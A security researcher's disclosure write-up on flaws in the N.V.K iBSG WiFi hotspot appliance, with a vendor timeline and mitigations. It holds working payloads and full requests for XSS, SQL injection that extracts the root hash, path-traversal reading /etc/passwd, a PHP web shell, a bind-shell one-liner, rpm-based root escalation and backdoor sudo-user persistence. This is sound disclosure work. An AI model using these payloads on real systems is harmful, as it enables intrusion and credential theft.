This article explores multiple vulnerabilities discovered in the iBSG (Intelligent Broadband Subscriber Gateway) WiFi appliance from the Thai company N.V.K. INTER CO., LTD. This appliance is a WiFi hotspot solution for internet service providers, offices, hotels, cafés/restaurants and apartments/condominiums.
Note: Should you wish to suggest an improvement or simply reach out, you can do so at contact@lionsec.lu.
Context
During a long stay in Thailand, I found myself in a hotel, and since I never really disconnect, the hotel’s WiFi hotspot had not escaped my attention. It caught my curiosity thanks to its vendor name and version number: N.V.K iBSG v3.5.32r1beta. Version 3.5 is known to be affected by CVE-2023-39808, which allows a malicious actor to obtain the hash of the root password.
Since I had a bit of time on my hands, the adventure tempted me, as I wondered whether there were others, and it had been a while since I had last had fun hunting.
Responsible disclosure
Before going any further, it is important to recall that disclosing vulnerabilities (potentially 0days) must be done ethically to the vendor, so as to give them the opportunity to fix these weaknesses within a reasonable timeframe.
- 30/12/2023 - First contact with the vendor, requesting an appropriate point of contact
- 31/12/2023 - Reply and confirmation from the vendor of a point of contact
- 31/12/2023 - Short summary of the vulnerabilities found and request for confirmation to send the report
- 31/12/2023 - After the vendor’s confirmation, the report was sent through a secure channel
- 31/12/2023 - The vendor confirms reading the report as well as the validity of the vulnerabilities
Note: The vendor had indicated a heavy workload, then a plan to address this in a later version. Since the exclusive disclosure to the vendor, almost 3 years have passed, and the major version of the solution has evolved. This report will nonetheless mask certain details that could allow easy exploitation of these vulnerabilities.
Retrieving the appliance software
Going to N.V.K’s official website, I notice that the appliance is available via https://ibsg.nvk.co.th/download/; however, a 403 - Forbidden error is returned immediately. I did not know why, but I suspected that this page restricted access only to identified N.V.K. customers, the general public having no need to access it.
Hmm, but where could I find the appliance image?!
So I tried my luck via the WaybackMachine and found a snapshot dating from 17 July 2019 pointing to a redirect towards another download page:
I therefore land on a file listing containing the following name: IBSGLITE_V3.5_32r1B_[B0850894]_U_C69.ISO. dating from November of the same year. At this stage, I did not understand the link between N.V.K and DDNSThailand, but that did not stop me from continuing.
After retrieving the ISO file, I was able to deploy the image with VirtualBox. Once the login / password screen was displayed (which I obviously did not know), a quick Nmap run revealed several ports, including the one for the web management interface, which was now available at http://192.168.2.254/manage/ with the default credentials admin:admin123. The other ports (TCP/UDP) were limited and showed nothing interesting at first sight.
Let’s go!
Reviewing the web management interface
Reflected XSS #1
The first XSS vulnerability allowed the injection of malicious code on the login page at the following entry point:
/user/index.php?[REDACTED]="><script>alert('XSS 1');</script>
Request:
GET /user/index.php?[REDACTED]=%22%3E%3Cscript%3Ealert(%27XSS%201%27);%3C/script%3E HTTP/1.1
Host: 192.168.2.254
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 00:45:48 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Set-Cookie: unique_u=f576rrf3dvc11tclot4tvtjjp7; expires=Sun, 07-Jan-2024 00:45:48 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2432
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Copyright (C) 2013
No part of this file may be used without permission.
-->
<head>
[…TRUNCATED…]
});
//-->
</script>
</head>
<body>
<div id="wrapper">
<div id="content">
<h1><img src="../shared/images/icon/user.gif" alt="icon" width="22" height="22" /> User zone. </h1>
<hr />
<form name="reqAuth" id="reqAuth" method="post">
<input name="referer" id="referer" type="hidden" value=""><script>alert('XSS 1');</script>" />
<table class="fieldtable" align="center" width="0" border="0" cellspacing="0" cellpadding="3">
<tr>
<td class="spacer">Loginname</td>
<td><input class="txtfield" name="txtLogin" id="txtLogin" type="text" maxlength="24" /></td>
[…TRUNCATED…]
</div>
</body>
</html>
Reflected XSS #2
Another reflected XSS also allowed the injection of malicious code at the following entry point, using the value of the [REDACTED] cookie:
/portal/user-authen.php
Request:
GET /portal/user-authen.php?reqUrl=http://www.google.co.th HTTP/1.1
Host: 192.168.2.254
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.254/portal/user-authen.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [REDACTED]=[REDACTED]"><script>alert('XSS 2')</script>; [REDACTED]
Connection: close
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 00:54:09 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Cache-Control: no-cache
Content-Length: 3316
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--Copyright (C) 2013
No part of this file may be used without permission.
-->
<head>
[…TRUNCATED…]
<h1>Please login</h1>
<hr />
<form method="post" enctype="application/x-www-form-urlencoded" action="http://192.168.2.254/portal/user-authen.php">
<table class="fieldTable" width="0" border="0" cellspacing="0" cellpadding="3">
<tr>
<td class="spacer">Loginname</td>
<td><input name="txtLogin" type="text" id="txtLogin" maxlength="24" value="admin"><script>alert('XSS 2')</script>" /></td>
</tr>
<tr>
<td>Password</td>
<td><input name="txtPasswd" type="password" id="txtPasswd" maxlength="24" value="test" /></td>
</tr>
[…TRUNCATED…]
</div>
</body>
</html>
SQL Injection #1
This first SQL Injection is error-based and allowed the DBMS used by the appliance to be revealed: MySQL version 5.1.73. The injection point was in the section managing existing policies, via the [REDACTED] parameter, using the following payload:
2+and+(select+1+and+row(1,1)>(select+count(*),concat(CONCAT(%40%40VERSION),0x3a,floor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))
Request:
POST /manage/manage-policy.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 178
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/manage/manage-policy.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=tf189rthj4tf3jtg82go71pkt6
Connection: close
[REDACTED]=2+and+(select+1+and+row(1,1)>(select+count(*),concat(CONCAT(%40%40VERSION
),0x3a,floor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&[REDACTED]
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 01:07:04 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 77
Connection: close
Content-Type: text/x-json; charset=UTF-8
{"error":"Sql error : Duplicate entry '5.1.73:0' for key 'group_key' (1062)"}
This SQL Injection returns a result with a limited output length, making information extraction more difficult, so I decided to explore other alternatives that could offer more flexibility.
SQL Injection #2
The second injection, also error-based, allows for more length and uses the entry point that resets a user’s identity. It was therefore possible to determine that the current database user was root@localhost, as well as a truncated output of the hashed password of the current root user, using the following payload:
2+AND+extractvalue(rand(),concat(CHAR(126),(SELECT+Password+FROM+mysql.user+WHERE+User%3d'root'+LIMIT+1),CHAR(126)))
Request:
POST /manage/manage-identity.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 165
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/manage/manage-identity.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=s899bj7a7bjbvi4o895l4tb6i1
Connection: close
[REDACTED]=2+AND+extractvalue(rand(),concat(CHAR(126),(SELECT+Password+FROM+mysql.us
er+WHERE+User%3d'root'+LIMIT+1),CHAR(126)))&[REDACTED]
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 01:14:07 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 85
Connection: close
Content-Type: text/x-json; charset=UTF-8
{"error":"Sql error : XPATH syntax error: '~*4E668C55[REDACTED]' (1105)"}
Being limited in output, I decided to write my own Python script to exploit this SQL Injection in blind time-based mode and obtain the full hash.
The final hash found was: ~*4E668C55[REDACTED].
A quick lookup of the hash on https://hashes.com/en/decrypt/hash revealed that the cleartext password was [REDACTED].
Note: Later during exploitation, using these root credentials for the MySQL database would not reveal any other interesting information.
SQL Injection #3
The third injection was discovered after the appliance’s source code had been fully deobfuscated, as demonstrated further down in this write-up. The function registering a user in the system was the entry point, and a blind time-based payload confirmed it. This payload made the server sleep for 5 seconds when the request succeeded; the same attack as the second one mentioned earlier is therefore possible.
Validation payload:
user123'+AND+SLEEP(5)+AND+'1
Request:
POST /portal/user-register.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 186
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/portal/portal-view.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
[REDACTED]=user123'+AND+SLEEP(5)+AND+'1
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 01:34:42 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 69
Connection: close
Content-Type: text/x-json; charset=UTF-8
{"error":"Invalid registration request!","object":false,"fatal":true}
Excerpt of the SQL payload used in the Python script (it loops over each position of the password, testing every possible character):
2 and (SELECT if(substring((SELECT Password FROM mysql.user WHERE User="root" LIMIT 1),' + str(x) + ',1)="' + char + '",sleep(2),"false"))
Digging a bit deeper, none of the SQL injections had let me take control of the appliance, because all the permissions for the root user were set to FALSE — no luck!
Local File Inclusion #1 with filter bypass
It was also possible to include almost any file on the appliance (as long as the web server process had the privileges to do so) thanks to a filter bypass on an inclusion via an entry point in the log management section.
As an LFI payload such as ../../ was blocked by the application, and the path required the presence of the string /var/log/, a bypass was found to defeat the protection:
/var/log/....//....//....//etc/passwd
This bypass was later verifiable once the appliance’s source code had been deobfuscated:
The filter only checked for the presence of ../../ and removed it in a non-recursive way.
Request:
POST /manage/status-log.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 58
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/manage/status-log.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=jtp4nu3k93cbiudtmc6ffpdbc4
Connection: close
[REDACTED]&[REDACTED]=/var/log/....//....//....//etc/passwd
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 02:25:44 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1327
Connection: close
Content-Type: text/html
<textarea name="logData" id="logData" cols="96" rows="20" readonly="readonly" wrap="off">
tcpdump:x:72:72::/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
squid:x:23:23::/var/spool/squid:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
sync:x:5:0:sync:/sbin:/bin/sync
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
root:x:0:0:root:/root:/bin/bash
Local File Inclusion #2 with filter bypass
Similar behaviour was found via another entry point in the log management section.
Request:
GET /manage/status-log.php?[REDACTED]&[REDACTED]=/var/log/....//....//....//etc/passwd HTTP/1.1
Host: 192.168.2.254
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=s7p64ai3tapgl5nmpa6p67ccs6
Connection: close
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 02:33:37 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-disposition: attachment; filename=passwd
Content-Length: 1200
Connection: close
Content-Type: application/x-download
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
At this stage, numerous attempts to recover passwords, secrets or keys from various files that could potentially contain them were in vain. Moreover, I could see that most of the PHP files appeared encrypted / obfuscated. I had to dig even deeper by trying other types of vulnerabilities.
Accessing the appliance
In this section, we will be able to access the appliance directly thanks to a remote code execution.
Remote Code Execution (RCE)
Access to the appliance’s file system was made possible by a remote code execution discovered in the card-printing feature (for generating prepaid coupons, for example), which allowed the following minimalist PHP backdoor to be uploaded:
<?php
if( isset($_GET['cmd']) && $_GET['cmd'] !== null) {
system($_GET['cmd']);
}
?>
Uploading a .php file is forbidden because of filters in place; however, intercepting the request and changing the file extension before it is sent to the server made it possible to bypass these restrictions. As shown below, the extension was changed from .php to .php.jpg:
Request:
POST /manage/[REDACTED] HTTP/1.1
Host: 192.168.2.254
Content-Length: 761
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.2.254
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0AdsWbUvQ0bD6TMz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.254/manage/[REDACTED]
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=4vcbkud58ppk9oa7kv2jav1id5
Connection: close
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[REDACTED]"; filename="back2.php.jpg"
Content-Type: application/octet-stream
<?php
if( isset($_GET['cmd']) && $_GET['cmd'] !== null) {
system($_GET['cmd']);
}
?>
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[REDACTED]"; [REDACTED]=""
Content-Type: application/octet-stream
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[REDACTED]"
[REDACTED]
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[REDACTED]"
[REDACTED]
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[REDACTED]"
[REDACTED]
------WebKitFormBoundary0AdsWbUvQ0bD6TMz--
Then, all it took was clicking on [REDACTED] to trigger the following request:
Request:
POST /manage/system-printing.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 386
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.254
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.254/manage/system-printing.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=9r37tu3tpsmjq3n7sdi4epneg1
Connection: close
[REDACTED]
The server’s response returns an error from the FPDF library (which is, on top of that, outdated), which did not indicate at first that the attempt was a success:
Response:
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 02:43:54 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 101
Connection: close
Content-Type: text/html
<b>FPDF error:</b> Missing or incorrect image file:
/home/ibsg/webui/[REDACTED]/back2.php.jpg
That said, not only was the full path of the upload folder disclosed, but the backdoor upload had actually worked, which was confirmed by accessing the following URL: http://192.168.2.254/[REDACTED]/back2.php.jpg?cmd=id
Note: In this case, the retrieved file having the .jpg extension should have been rendered as an image; however, the Apache server had interpreted it based on its content!
Initial access via bind shell
As is often the case, the logical next step is to get a reverse shell (from the appliance to my machine) to the remote environment, for easier interaction. However, this option did not work (likely due to firewall restrictions), so I had to opt for a bind shell (from my machine to the appliance) instead.
The following payload was used:
http://192.168.2.254/[REDACTED]/back2.php.jpg?cmd=php%20-
r%20%27$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,%220.0.0.0%22,9002);s
ocket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,%22$%20%22,2))exit;$in=sock
et_read($cl,100);$cmd=popen(%22$in%22,%22r%22);while(!feof($cmd)){$m=fgetc($cmd);socket_wr
ite($cl,$m,strlen($m));}}%27
The website started to hang; it was listening, as expected, for a connection on port 9002. From my host, I then entered the following command:
This confirmed that I was connected as the apache user. Unfortunately, it was not root, so I had to move on to the next step: escalating my privileges as high as possible.
Privilege escalation
One of the many privilege escalation techniques on Linux is to use the following command:
sudo -l
This shows which commands the user can run with sudo:
Fortunately, several options were available to me and, for those in the know, GTFOBins lists as many techniques as possible for this kind of situation. In this case, I chose the rpm command to exploit this technique:
Bingo, objective reached!
Persistence
As soon as root access was obtained, it was preferable to set up one of the many persistence techniques on Linux: simply adding an SSH user (to come back easily and have a fully interactive shell).
At this stage, I could not “decrypt” the source code, and that left me puzzled. In any case, this live SSH access would make the task easier.
Here are the commands used to add a new SSH user:
Create the user:
sudo rpm --eval '%{lua:os.execute("useradd -p $(openssl passwd -1 david123) david2")}'
Add to the administrators:
sudo rpm --eval '%{lua:os.execute("usermod -G wheel david2")}'
Add to the sudoers and verify:
sudo rpm --eval '%{lua:os.execute("echo \"david2 ALL=(ALL) ALL\" >> /etc/sudoers")}'
sudo rpm --eval '%{lua:os.execute("cat /etc/sudoers")}'
Connect to the appliance via SSH:
ssh -oHostKeyAlgorithms=+ssh-dss david2@192.168.2.254
With access established, it was time to try to find some juicy information.
Deobfuscation and full source code recovery
Following my research, I was indeed able to recover the hash of the root password using a combination of /etc/passwd and /etc/shadow with Unshadow (a utility that is part of the John the Ripper package, one of the best-known password crackers). However, after 10 billion attempts, the password could not be recovered, meaning it had to be strong.
I then decided to retrieve all the source code files in /home/ibsg/ onto my local machine in order to try to understand this encryption/obfuscation applied to almost every .php file. After more research, I discovered that it was obfuscation generated by the ionCube version 7 solution for PHP 5.3 (the version installed on the appliance). Yes, far too outdated…
Note: I had first found an online tool that could do this for a small fee; however, I preferred not to, in order to avoid a source code leak for N.V.K.
So I found an offline tool (tested first on a separate virtual machine, just in case) at the following address: https://ioncubedecoder2013.blogspot.com/2014/02/ioncube-decoder-v8-v7-v6-decode-php.html
The archive contained several scripts, including the one I used: IDezender8 (idzender.bat) to decode the files.
Here is an example for the original/obfuscated file /webui/manage/help-about.php:
Then, its deobfuscated version: /webui/manage/help-about.php:
By applying this script to the entire code directory, all the files could be decoded, which led to the discovery of the vulnerabilities already mentioned above: SQL Injection #3 and Local File Inclusion #2 with filter bypass.
Bonus: Authentication bypass via the API
Realising that an API was also available, I was quickly able to spot the following weakness (although not verified, as my time was limited!): a potential authentication bypass via the API:
With PHP 5.3.3 (and other versions), the Loose Type Juggling vulnerability allows any string to be compared with 0, which always returns TRUE when the comparison operator == is used instead of ===.
As seen below, the application fetches the user’s password from the database and compares it with == against the MD5 of the password (which is attacker-controlled). Then, for the parameter to be interpreted as an integer (and not as a string), it would most likely have been possible to pass 0 as an integer in JSON format to the API, which could potentially have allowed an admin session to be created and the appliance to be compromised — this time pre-auth, without the default admin credentials (hopefully changed during the technicians’ setup).
Once again, this weakness was not attempted because I was short on time, but one can suspect that this technique would have worked.
Mitigation
The following table provides some guidelines to secure the application and to prevent future similar flaws from happening.
| Vulnerability | Mitigation |
|---|---|
| Publicly available appliance software | Again, I am not certain about the link between NVK and DDNSThailand, but it would be good practice to restrict access to the software itself (the ISO image) to customers only, if possible and in accordance with business requirements. |
| XSS | User input should be sanitised before processing it. An interesting article can be found here: portswigger.net/web-security/cross-site-scripting. |
| SQL Injection | SQL Injections can all be prevented by using Prepared Statements, as also mentioned in the OWASP SQL Injection Prevention Cheat Sheet. I noticed the use of mysql_escape_string(), which helps prevent SQL Injections but, in some specific cases, is not sufficient. |
| Local File Inclusion (LFI) | In this case, removing ../ was not sufficient. The filtering should remove any occurrence of dots and slashes, or even block the page. A whitelist of log files allowed for inclusion is also an option. Moreover, restricting the inclusion path to the log files location would not be secure enough, as other log files could contain sensitive information or be tampered with to include PHP code and achieve RCE. |
| Remote Code Execution (RCE) | In this case, the Apache server should be configured to interpret files based on their extension and not their content. This should be achievable in the httpd.conf or .htaccess files, depending on NVK’s needs. |
| Privilege escalation | Commands such as interpreters, package managers or text editors are particularly vulnerable to privilege escalation because of their features. It is recommended to restrict the possibilities to only the commands necessary for the apache user. |
| Source code disclosure | In this case, not much can be done. Security by obscurity slowed me down here, but it is never bulletproof. I noticed that the ionCube solution was really outdated and that the latest versions do not seem to have been impacted by the decoders; I would recommend updating it. |
| Authentication bypass (bonus) | If this issue is tested and proven true, then a simple strict comparison operator === is enough to fix it, rather than the loose comparison that currently uses ==. |
Overall, the appliance included several severely outdated software and libraries, which could have led to even more vulnerabilities. Moreover, should this N.V.K solution have to pass a security audit by a regulator, the lack of updates might not be considered commercially acceptable. I strongly recommend focusing on updates for the next major version.
Conclusion
This experience was fun, especially since I had never encountered this obfuscation method with ionCube before. The lack of privileges for the root user on MySQL and the absence of cleartext credentials or secrets are two positive points worth highlighting for N.V.K. The obfuscation of the PHP source code, for its part, still slowed me down quite a bit.
Once again, this research was carried out ethically, and followed the responsible disclosure principle, meaning that the vendor had at least 6 months to fix the vulnerabilities before a public disclosure (with the possibility, for the developer, to negotiate further).
Once that deadline had passed, I tried to register these vulnerabilities with MITRE to obtain several CVE numbers. The request was rejected with a short and quick reply from MITRE:
This request is in regard to a beta version of the product. We do not assign for beta versions.
Indeed, the version was clearly a BETA, and cataloguing vulnerabilities at such a level of granularity would not be feasible. This is where it is dangerous to deploy BETA versions in production: there is little to no visibility on the vulnerabilities affecting these versions. Although this seems logical (and even common sense), it is very common to see it in the wild… like in this hotel where I was staying :)
Note: On top of that, publicly known vulnerabilities are only the visible tip of the iceberg.
I simply hope this will contribute to a more secure WiFi hotspot solution. In any case, when you connect to a public WiFi, always make sure to use a VPN such as Proton’s.
Sawasdee Kha 🙏
Links
- N.V.K’s official website
- N.V.K iBSG official website
- GTFOBins website
- Proton VPN official website
- WaybackMachine official website
- ionCube official website
Contact
For any suggestion for improvement, or simply to get in touch: contact@lionsec.lu.












